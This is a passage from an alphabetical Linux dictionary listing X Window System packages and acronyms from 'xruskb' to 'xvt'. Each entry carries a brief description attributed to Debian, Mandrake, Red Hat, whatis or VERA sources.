cuddly teddy bear for your X Windows desktop. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xruskb

An X localized keyboard switch and autolock. Xrus is a utility for switching the keyboard mode between different layouts. While it is intended for switching between Latin and Russian keyboards (RUS/LAT), xrus can be configured to use any two layouts provided that the proper modmaps have been loaded. Xrus monitors all keyboard and mouse events, and when a particular hot key combination is pressed, it swaps 1,2 and 3,4 columns of the keyboard map. When a a specified time period without keyboard and mouse events passes, it starts a locking program. This package also contains several Cyrillic keyboard mapping tables. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsabre

Fighter plane simulator. SABRE is an on−going game development for the Linux Operating System, worked on as a labor of love by flight−simulation enthusiasts. For now, SABRE is focusing on the older jets and piston−engined fighters of the Korean War / Cold War era. Featured are F−86 SabreJet, MiG−15, F−84 ThunderJet, F−51 Mustang, and Yak−9. All of the planes in the game can be flown by the player as well as the computer pilots. This package contains the X binary. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsane

a gtk based X11 frontend for SANE (Scanner Access Now Easy) SANE stands for "Scanner Access Now Easy" and is an application programming interface (API) that provides standardized access to any raster image scanner hardware (flatbed scanner, hand−held scanner, video− and still−cameras, frame−grabbers, etc.). The SANE standard is free and its discussion and development is open to everybody. The current source code is written for UNIX (including Linux) and is available under the GNU public license (commercial application and backends are welcome, too, however). xsane can be run as a stand−alone program or through the GIMP image manipulation program. In stand−alone mode, xsane can save an image to a file in a variety of image formats, or serve as a frontend to a fax program, or send an image to a printer. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsane

XSane is an X based interface for the SANE (Scanner Access Now Easy)library, which provides access to scanners, digital cameras, and other capture devices. XSane is written in GTK+ and provides control for performing the scan and then manipulating the captured image. You may install xsane−gimp if you want the GIMP plug−in. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsane−gimp

This package provides the regular XSane frontend for the SANE scanner interface, but it works as a GIMP plug−in. You must have GIMP installed to use this package. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xscavenger

A lode−runner−like platform game for X XScavenger is a platform game for the X Window System. From the README: Scavenger is like Lode Runner. You've got to run around gathering objects while avoiding enemies. You can dig down through some of the blocks to get at buried objects. After you've collected everything, ladders may appear. To finish the level you've got to exit through the top of the screen. If an enemy falls into a dug brick, he is stunned for a while. If the brick fills in with him in it, he is killed, and he will reappear at the top of the screen. This version has a level editor for designing your own levels, and a graphics editor for drawing your own artwork. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xscorch

Clone of Scorched Earth Xscorch is a clone of the classic DOS game, "Scorched Earth". The basic goal is to annihilate enemy tanks using overpowered guns :). Basically, you buy weapons, you target the enemy by adjusting the angle of your turret and firing power, and you hope to destroy their tank before they destroy yours. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xscreensaver

Automatic screensaver for X The purpose of xscreensaver is to display pretty pictures on your screen when it is not in use, in keeping with the philosophy that unattended monitors should always be doing something interesting, just like they do in the movies. The benefit that this program has over the combination of the xlock and xautolock programs is the ease with which new graphics hacks can be installed: you don't need to recompile this program to add a new display mode, you just change some resource settings. Any program which can be invoked in such a way that it draws on the root window of the screen can now be used as a screensaver without modification. The programs that are being run as screensavers don't need to have any special knowledge about what it means to be a screensaver. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xscreensaver

graphics hack and screen locker, launched when the user is idle From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xscreensaver

The xscreensaver package contains a variety of screensavers for your mind−numbing, ambition−eroding, time−wasting, hypnotized viewing pleasure.Install the xscreensaver package if you need screensavers for use with the X Window System. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xscreensaver−command
control a running xscreensaver process From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xscreensaver−demo
interactively control the background xscreensaver daemon From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xscreensaver−getimage
put some randomly−selected image on the root window From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xscreensaver−getimage−file
put a randomly−selected image on the root window From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xscreensaver−getimage−video
put a video frame on the root window From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xscreensaver−gl
GL(Mesa) screenhacks for xscreensaver These are some extra hacks for xscreensaver that use the Mesa OpenGL−compatible library. They are included as an extra package so the base package doesn't require Mesa. In addition, these hacks function nicely as GL demos for people who want to try out hardware accelerated 3D with XFree86 4.x From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xscreensaver−gnome
GNOME binaries for xscreensaver This package contains the GNOME enabled xscreensaver−demo and related files. To be useful, it requires the xscreensaver package to be installed. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xscreensaver−nognome
Gtk only binaries for xscreensaver This package contains the Gtk only xscreensaver−demo for people who do not want to install the whole of GNOME to use xscreensaver. To be useful, it requires the xscreensaver package to be installed. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsel
More than just cat for the X selection. XSel is a command−line program for getting and setting the contents of the X selection. Normally this is only accessible by manually highlighting information and pasting it with the middle mouse button. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xset
user preference utility for X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsetmode
set the mode for an X Input device From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsetpointer
set an X Input device as the main pointer From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsetroot
root window parameter setting utility for X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xshipwars

Dynamic space−oriented gaming system XShipWars is a highly customizable and dynamic space−oriented gaming system designed for play on the net. You create your own universes and build your own vessels with a huge array of customizable settings. Graphics/video/sound themes for XShipWars are created by many talented professional artists. More information can be found at the XShipWars web site http://wolfpack.twu.net/ShipWars/XShipWars/ . From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsiag

a spreadsheet with an X11 user−interface The spreadsheet part of the Siag Office suite, which also contains EGON and PW. Siag Office uses the Offix DND Drag−and−Drop protocol. Siag is a spreadsheet based on X and scheme. Being based on scheme allows any user to expand the functionality of siag in just about any way imaginable. It can read and write 1−2−3 files for inter−operation with other well−know spreadsheet programs. You can enter expressions in several languages: C, guile, SIOD, Tcl. A WWW browser is needed to read online doc. A postscript viewer is used for document preview. This one uses an X11 user interface based on the Athena toolkit. You will find a text version in the `tsiag' package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsidplay

Music player for tunes from C64 and Amiga This is a very sophisticated music player for C64 and Amiga tunes, aka SID tunes. It's very simple now to change emulation parameters and control tunes and subtunes. Furthermore, the player features a playlist and support for the HVSC song lengths database file. The `README' contains instructions where to download and how to install this file. There is a somewhat `hidden' expert mode, which enables the built−in oscilloscope. Please see `README.Debian' and `README' for more information (and possible problems). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsitecopy

A program for managing a WWW site via FTP, DAV or HTTP(GNOME version) sitecopy is for copying locally stored websites to remote ftp servers. With a single command, the program will synchronize a set of local files to a remote server by performing uploads and remote deletes as required. The aim is to remove the hassle of uploading and deleting individual files using an FTP client. sitecopy will also optionally try to spot files you move locally, and move them remotely. sitecopy is designed to not care about what is actually on the remote server − it simply keeps a record of what it THINKS is in on the remote server, and works from that. This version is the GNOME frontend to sitecopy. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xskat

3−player card game "Skat" Xskat lets you play the card game Skat as defined by the official German "Skatordnung". You can play by sending a window to the other player's X display, or via an IRC server. The computer can also simulate players. Many unofficial rules like "Ramsch" or "Bock" are supported. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XSL

eXtensible Stylesheet Language (XML, XSL) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xslide

XSL editing mode for Emacs. xslide is a major mode for editing XSL stylesheets. It supports running an XSL processor on the current buffer and showing the result in another buffer. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XSLT

eXtensible Stylesheet Language Transformations (XSL) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsltproc

XSLT command line processor This is a command line tool that allows to transform XML files into other XML files (or HTML, text, ...) using the standard XSLT stylesheet transformation mechanism. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsm

X Session Manager From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsmbrowser

X11 tool for navigating SMB Networks xSMBrowser is a tool for navigating SMB Networks (Samba, SMB, CIFS). It retains the features of the program it was based upon (Microsoft's Network Neighborhood), but adds convenient features for Unix users. These include mounting, ability to change networks on−the−fly, and conveniences such as a Stop Button. More information can be found at the xsmbrowser web site http://www.public.iastate.edu/~chadspen/ . From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsmc−calc

Smith Chart calculator for X xsmc−calc allows you to perform Smith Chart calculations for RF (radio frequency) circuit design. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XSMD

eXtended Storage Module Driver interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsok

Generic Sokoban game for X11 xsok is a single player strategic game, a superset of the well−known Sokoban game. The target of Sokoban is to push all the objects into the score area of each level using the mouse or the arrow keys. For the other level subsets, there are different kinds of objects, and special effect squares. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsol

X Solitaire This is a simple Motif/Lesstif version of classic solitaire game that runs under X Window System. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsoldier

shoot−em up A vertically scrolling shoot−em up with power−ups and end−of−level bosses. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xspecs

X protocol, extension, and library technical specifications A comprehensive collection of manuals (most in both PostScript and text format, but some in text format only) documenting the standard specifications of the X protocol, extensions to the core protocol, and C library interfaces is provided by this package. The manuals provided include: * X Window System Protocol * Xlib − C Library Interface * X Toolkit Intrinsics − C Library Interface * Athena Widget Set − C Library Interface * Bitmap Distribution Format (BDF) * Compound Text Encoding (CTEXT) * X Display Power Management Signaling (DPMS) Extension Protocol * X Display Power Management Signaling (DPMS) Extension Library * The X Font Service Protocol * Inter−Client Communications Conventions Manual (ICCCM) * Inter−Client Exchange (ICE) Protocol * Inter−Client Exchange (ICE) Library * The RX Document * X Session Management Library * X Session Management Protocol * X Display Manager Control Protocol (XDMCP) * XIE Sample Implementation Architecture * X Image Extension Protocol (XIE) * XIElib Specification * The Input Method Protocol * X Logical Font Description Conventions (XLFD) * Extending X for Double−Buffering, Multi−Buffering, and Stereo * Double Buffer Extension (DBE) Protocol * Double Buffer Extension (DBE) Library * Low Bandwidth X (LBX) Extension * LBX X Consortium Algorithms * MIT−SHM − The MIT Shared Memory Extension * Record Extension Protocol Specification * X Record Extension Library * Security Extension Specification * X Nonrectangular Window Shape Extension Protocol * X Nonrectangular Window Shape Extension Library * X Synchronization Extension Protocol * X Synchronization Extension Library * XC−MISC Extension * XTEST Extension

Protocol * XTEST Extension Library * X Input Device Extension Library * X11 Input Extension Porting Document * X11 Input Extension Protocol Specification * Xmu Library * Analysis of the X Protocol for Security Concerns * Description of the Application Group Extension Implementation * Definition of the Porting Layer for the X v11 Sample Server * The X Font Library * Security Extension Server Design * X11R6 Sample Implementation Frame Work * X Locale Database Definition * The XIM Transport Specification * A Flexible Remote Execution Protocol Based on rsh * Xlib and X Protocol Test Suite: User Guide for the X Test Suite * Font Server Implementation Overview * X Transport Interface * the Application Group (APPGROUP) extension * the BIG−REQUESTS extension This package supersedes the xbooks package in older versions of Debian. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsri

The xsri program allows the display of text, patterns, and images in the root window, so users can customize the XDM style login screen and/or the normal X background. Install xsri if you would like to change the look of your X loginscreen and/or X background. It is also used to display the default background (Red Hat logo). From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xstarfish

X wallpaper generator. XStarfish generates colourful, tiled images for your background using random numbers fed through mathematical functions. It does not use source image files, so it can generate its images nearly forever without running out of material. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xstdcmap

X standard colormap utility From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsu

Allow users to run commands as root, after prompting for password. xsu is an interface for the command `su − username −c command` in Gnome. When the user executes xsu, he/she will be prompted for a command, a username and a password. If the username and password are correct xsu will execute the command as the entered user. So if the username was root, then the command will be executed as root. Of course it's also possible to predefine the username and the command by using the [−u,−−username] and [−c,−−command] arguments at the command line of xsu. This can be very useful when using xsu in for example gmenu or the GNOME panel. * Security Gnome Xsu 2.0 uses the standard su binary to gain it's root access. This way, all security issues should be solved. The security of all older xsu versions was very bad. With xsu version 0.1.0 the use of a pipe to a secured non−Gnome SUID application was introduced. This has been replaced with a special type of pipe to the standard GNU su application from the 'login' package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xsysinfo

display some Linux kernel parameters in graphical form This X client is like a mix of top, free and xload with the difference that the values are shown in form of a horizontal bar. The displayed values are: CPU load, CPU idle, memory and swap sizes. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xt

A graphical traceroute It traces (on a picture of the Earth) the route your IP packets travel to their destination. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XT

eXtended Technology (IBM, PC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xt−catalog

Catalog support and wrapper for XSLT Processor XT This package provides a simple front−end to XT for processing XML source files with XSL stylesheets. SGML catalog support is provided by a modified version of the command−line driver class for XT. A wrapper script for general XT usage is also included. This package works well for processing most DocBook XML sources. Author: Norman Walsh <ndw@nwalsh.com> Homepage: http://www.arbortext.com/Think_Tank/XML_Resources/Issue_Three/body_issue_three.html From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtail
: like "tail −f", but works on truncated files, directories, more xtail watches the growth of files. It's like running a "tail −f" on a bunch of files at once. It notices if a file is truncated and starts from the beginning. You can specify both filenames and directories on the command line. If you specify a directory, it watches all the files in that directory. It will notice when new files are created (and start watching them) or when old files are deleted (and stop watching them). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtalk
: BSD talk compatible X Window System client. xtalk is a visual communication program which copies lines from your terminal to that of another user. This is an X Window System version, written in python. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtartan
: Display Scottish tartans Xtartan is a program that displays Scottish tartans (check patterns) in an X window or the root window. It can write the images to files for use on WWW pages etc. There is a library of over 240 tartan setts included with the program, and you can also add your own. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XTeamLinux
: Distribution and website are in Chinese. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xteddy
: a cuddly teddy bear (or other image) for your X desktop Normally, xteddy just sits around doing nothing. After all, that's what teddy bears are for. Look at him, talk to him, place heavy windows on top of him, zap him around until he becomes dizzy, do what you like; he will always be your true (albeit virtual) friend. Now you can load other pixmaps than the nice teddy, too. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xteddy
: cuddly teddy bear for your X Windows desktop. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xteddy_test
: cuddly teddy bear for your X Windows desktop. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtel
: An X emulator of the French Minitel. This is a lesstif Minitel client that runs on color/black and white X Display and a xteld daemon that can make Minitel connection with one or more modems. The Minitel is a dedicated terminal for accessing the Teletel, the French videotex network. Thus, this package is almost only for French users. This package now supports the 3622 I−Minitel protocol (more informations on http://www.i−minitel.com). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtell
: Simple messaging client and server, sort of networked write Simple messaging client and server, allowing you to send messages from computer running xtell client to computer running xtelld server. Can be used as replacement for write(1). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtend
: xtend − X10 status monitoring daemon xtend listens to the CM11A controller and will run commands in response to the input. This allows for motion sensors, water level detectors, alarm switches, and other X10 enabled devices to keep a log of house activity and status. Scripts can be written to e−mail

reports, or update web pages based on X10 Activity. This package does not have transmit capability, if you want to control X10 devices, you need to use the heyu package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XTerm

Graphical application that provides a shell prompt for typing system commands. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xterm

The XTerm program is the standard terminal emulator for the X Window System. It provides DEC VT102/VT220 and Tektronix 4014 compatible terminals for programs that can't use the window system directly. If the underlying operating system supports terminal resizing capabilities (for example, the SIGWINCH signal insystems derived from 4.3bsd), xterm will use the facilities to notify programs running in the window whenever it is resized. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xterm

X terminal emulator xterm is a terminal emulator for the X Window System. It provides DEC VT102 and Tektronix 4014 compatible terminals for programs that cannot use the window system directly. This version implements ISO/ANSI colors and most of the control sequences used by DEC VT220 terminals. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtermset

change the characteristics of an xterm xtermset allows you to change the characteristics of an xterm window from the command line. Most options have the same names as those that you would give xterm at startup. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Xtest

Xtest is a small program used to test X configuration which is used bythe Red Hat Linux installation program "anaconda". From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtet42

Tetris for X, supports one or 2 players. This version of tetris supports single player mode, or 2 player head−to−head play. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XTI

X/open Transport Interface (X/Open, X−Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtide

provides tide and current predictions XTide is a package that provides tide and current predictions in a wide variety of formats. Graphs, text listings, and calendars can be generated, or a tide clock can be provided on your desktop. XTide can work with the X window system, plain text terminals, or the web. This is accomplished with three separate programs: the interactive interface (xtide), the non−interactive or command line interface (tide), and the web interface (xttpd). The algorithm that XTide uses to predict tides is the one used by the National Ocean Service in the U.S. It is significantly more accurate than the simple tide clocks that can be bought in novelty stores. However, it takes more to predict tides accurately than just a spiffy algorithm −− you also need data for every location for which you want to predict tides. This package provide a sample data set for only one location so you can try out the package, but anything useful requires the data packaged in the xtide−data package (or downloaded from the XTide ftp site). Web Page: http://www.flaterco.com/xtide/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtokkaetama

X Puzzle Game. xtokkaetama, alias xkaetama, is a tetris−like game. It supports single−player mode and two−players mode. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtoolwait

Allows to start X applications serially. Xtoolwait notably decreases the startup time of your X sessions, provided that you start a number of X clients automatically during the X session startup. Xtoolwait starts one X client in the background, waits until it has mapped a window and then exits. Author: Richard Huveneers <richard@hekkihek.hacom.nl> Homepage: http://www.hacom.nl/~richard/software/xtoolwait.html From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtoys

cuddly teddy bear for your X Windows desktop. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XTP

eXpress Transport Protocol From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtradius

Free radius server implementation. XtRadius is a free radius server implementation. The main feature is that it can handle user accounting and authentication information via external fully configurable scripts. The Radius server is based on Cistron Radius 1.6.4. You can write script to make you own auth and/or accounting routines without having to patch the main server. Communication between XtRadius server and external scripts can be made using command line parameters or via environment variables. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtranslate

This is a x11−version translate wich will translate the xclipboard This is a X11−version for translate. It writes the contents of the X−selection and the commandline−option in a temporary used environment−variable, calls the script translate and pipes the results in a xmessage window. It will install a menuentry for the debian menusystem. It is possible to make a shortcut in some windowmanagers to use it more quickly. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtris

client−server multiplayer X tetris Xtris supports any number of simultaneous players. Features include: * Integrated chat system. * Computer−controlled robot players. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtrlock

Minimal X display lock program xtrlock is a very minimal X display lock program, which uses nothing except the Xlib library. It doesn't obscure the screen, it is completely idle while the display is locked and you don't type at it, and it doesn't do funny things to the X access control lists. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtron

Tron game for X Xtron is a simple one or two player version of the old classic TRON. The game is simple: avoid running into walls, your own tail, and that of your opponent. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtrs

emulator for TRS−80 Model I/III/4/4P computers xtrs is an X−based emulator for the Tandy/Radio Shack line of Zilog Z−80−based microcomputers popular in the late 1970's and early 1980's. It features cassette, floppy, and hard drive emulation, timer interrupt emulation, file import and export from the host operating system, support for most of the undocumented Z−80 instructions, and a built−in debugger. Real floppy drives can be used, and, if an OSS−compatible sound driver is available, application−based sound can be played and real cassettes read and written directly through the sound card or via WAVE files. Several hi−res graphics cards are emulated and, in Model 4/4P mode, mice are supported. There is also real−time clock, sound card, serial port, joystick, and CPU clock speedup emulation. xtrs requires ROM images from the original machines. The ROMs are copyrighted by Radio Shack and are not freely licensed. (Exception: in Model 4P mode, a freely licensed boot ROM included with this package can be used to boot a Model 4 operating system from a diskette image.) Instructions are provided for retrieval of TRS−80 ROM images by those who may legally use them. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xttitle

Changes X terminal emulator window titles This is a small program that generates escape sequences to change the title of terminal emulator windows under X. It should work with any program that emulates an xterm−like terminal. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xturqstat

Fidonet and Usenet statistics program for X Turquoise SuperStat is a simple but powerful Fidonet and Usenet message base statistics program that can read messages that are stored in SDM (*.MSG), SquishMail, JAM, FDAPX/w and MyPoint message bases as well as local or remote (NNTP) Usenet news spools. This is the GUI version. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtux

X−Tux. XTux is a multidirectional scrolling game in which you control famous Free Software characters such as Tux, Beastie, or RMS in an attempt to save the World from an evil software company. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtuxxy

cuddly teddy bear for your X Windows desktop. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xtv

View the screen of a remote X11 display View a remote X11 display in a window on your own display, in a continuously updating fashion. Just like watching the remote display on television! From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XUI

X−windows User Interface (UI, X−Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XUIDL

X−Unique−ID−Listing. (UIDL, POP3), "X−UIDL" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XUL

used to define what the user interface will look like for a particular piece of software. XUL is used to define what buttons, scrollbars, text boxes, and other user−interface items will appear, but it is not used to define how those item will look (e.g. what color they are). The most widely used example of XUL use is probably in theMozilla web browser, where the entire user interface is defined using the XUL language. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XUL (eXtensible User−interface Language)

A markup language similar to HTML and based on XML. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XUMA

eXpertensystem UMweltgefaehrlichkeit von Altlasten (XPS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xutils

X Window System utility programs xutils provides a set of utility programs shipped with the X Window System that do not require the X libraries; many of these programs are useful even on a system that does not have any X clients or X servers installed. The programs in this package include: − atobm, a converter from ASCII to X bitmap (.xbm) files; − bdftopcf, which converts BDF fonts to PCF fonts; − bdftruncate.pl and ucs2any.pl, tools to generate fonts with various encodings from ISO 10646−encoded fonts − ccmakedep, a version of makedepend which "does it right" − cleanlinks, a program to remove dangling symlinks and empty directories from a shadow link tree (created with lndir) – fslsfonts, a tool that lists fonts served by an X font server; – imake, a C preprocessor interface to the make utility; – lndir, a tool that creates a shadow directory of symbolic links to another directory tree; – makedepend, a tool to create dependencies in makefiles; – makeg, a tool for making debuggable executables; – makepsres, a tool that creates PostScript language resource database files; – makestrs, a tool that makes string table C source and header(s); – mkcfm, a tool that create summaries of font metric files in CID font directories; – mkdirhier, a tool that creates a directory hierarchy; – mkfontdir, a program to generate fonts.dir files; – scanpci, a utility for retrieving information about the PCI bus and devices on it (not available on all architectures); – pcitweak, a utility that can be used to examine or change registers in the PCI configuration space (not available on all architectures); – pswrap, a tool that creates C procedures from segments of PostScript language code; – resize, which prints a shell command for setting the TERM and TERMCAP environment variables to indicate the current size of the xterm (or compatible program) window from which the command is run; – revpath, which generates a relative path that can be used to undo a change–directory; – rstart, a remote start client; – rstartd, a remote start daemon activated by rstart connections; – sessreg, a simple program for managing utmp/wtmp entries; – showfont, a font dumper for use with an X font server; – showrgb, a decompiler for RGB color–name databases; – xfsinfo, an X font server information utility; – xmkmf, a tool that creates a Makefile from an Imakefile; and – xon, a tool that starts an X program on a remote machine. Installation of the xlibs–dev package, which contains the imake template files, is necessary if the imake or xmkmf tools are to be used. Installation of an rsh or ssh daemon (server) is necessary if rstartd is to be used, and installation of an rsh or ssh client is necessary if rstart is to be used. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

Xvfb

virtual framebuffer X server for X Version 11 From whatis http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

xvfb

virtual framebuffer X server xvfb provides an X server that can run on machines with no display hardware and no physical input devices. It emulates a dumb framebuffer using virtual memory. The primary use of this server was intended to be server testing, but other novel uses for it have been found, including testing clients against unusual depths and screen configurations, doing batch processing with Xvfb as a background rendering engine, load testing, as an aid to porting the X server to a new platform, and providing an unobtrusive way to run applications that don't really need an X server but insist on having one anyway. This package also contains a convenience script called xvfb–run which simplifies the automated execution of X clients in a virtual server environment. This convenience script requires the use of the xauth program from xbase–clients, hence the suggestion of xbase–clients. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

xvfb–run

run specified X client or command in a virtual X server environment From whatis http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

xvidtune

video mode tuner for XFree86 From whatis http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

xvier

a "Four in a row" game Xvier is a simple X game where you and your opponent alternately throw stones into free columns. The stones pile up in the columns, and the goal is to get four stones in a row, in a column or diagonally. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

xviewg

XView shared libraries [libc6] This package contains the shared libraries for XView. XView is a user interface toolkit following the look and feel of Sun's pre–X11 SunView. This package is required by XView–based programs. From Debian 3.0r0 APT

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xvile

VI Like Emacs − vi work−alike (X11) X11 version of the vile editor. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xvinfo

Print out X−Video extension adaptor information From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xvkbd

software virtual keyboard for X11 xvkbd is a virtual (graphical) keyboard program for X Window System which provides facility to enter characters onto other clients (softwares) by clicking on a keyboard displayed on the screen. This may be used for systems without a hardware keyboard such as kiosk terminals or handheld devices. This program also has facility to send characters specified as the command line option to another client. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xvmount

Small graphical utility for mounting devices by users. Users can mount predefined devices with selected permissions from a simple OpenLook based graphical interface. Xvmount recognizes the filesystem types minix, ext, ext2, msdos, vfat, xiafs, and iso9660/High Sierra. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xvncviewer

Virtual network computing client software for X. VNC stands for Virtual Network Computing. It is, in essence, a remote display system which allows you to view a computing `desktop' environment not only on the machine where it is running, but from anywhere on the Internet and from a wide variety of machine architectures. It is implemented in a client/server model. This package provides a client for X, with this you can connect to a vncserver somewhere in the network and display its content in a window. There are vncserver available for X and for Win95/NT. This package is an enhanced version of VNC including TightVNC allowing it to be optimized to work over slow network connections such as low−speed modem links so you can work remotely almost in real time in most environments. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XVT

eXecutive Vector Table (BS2000) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xvt

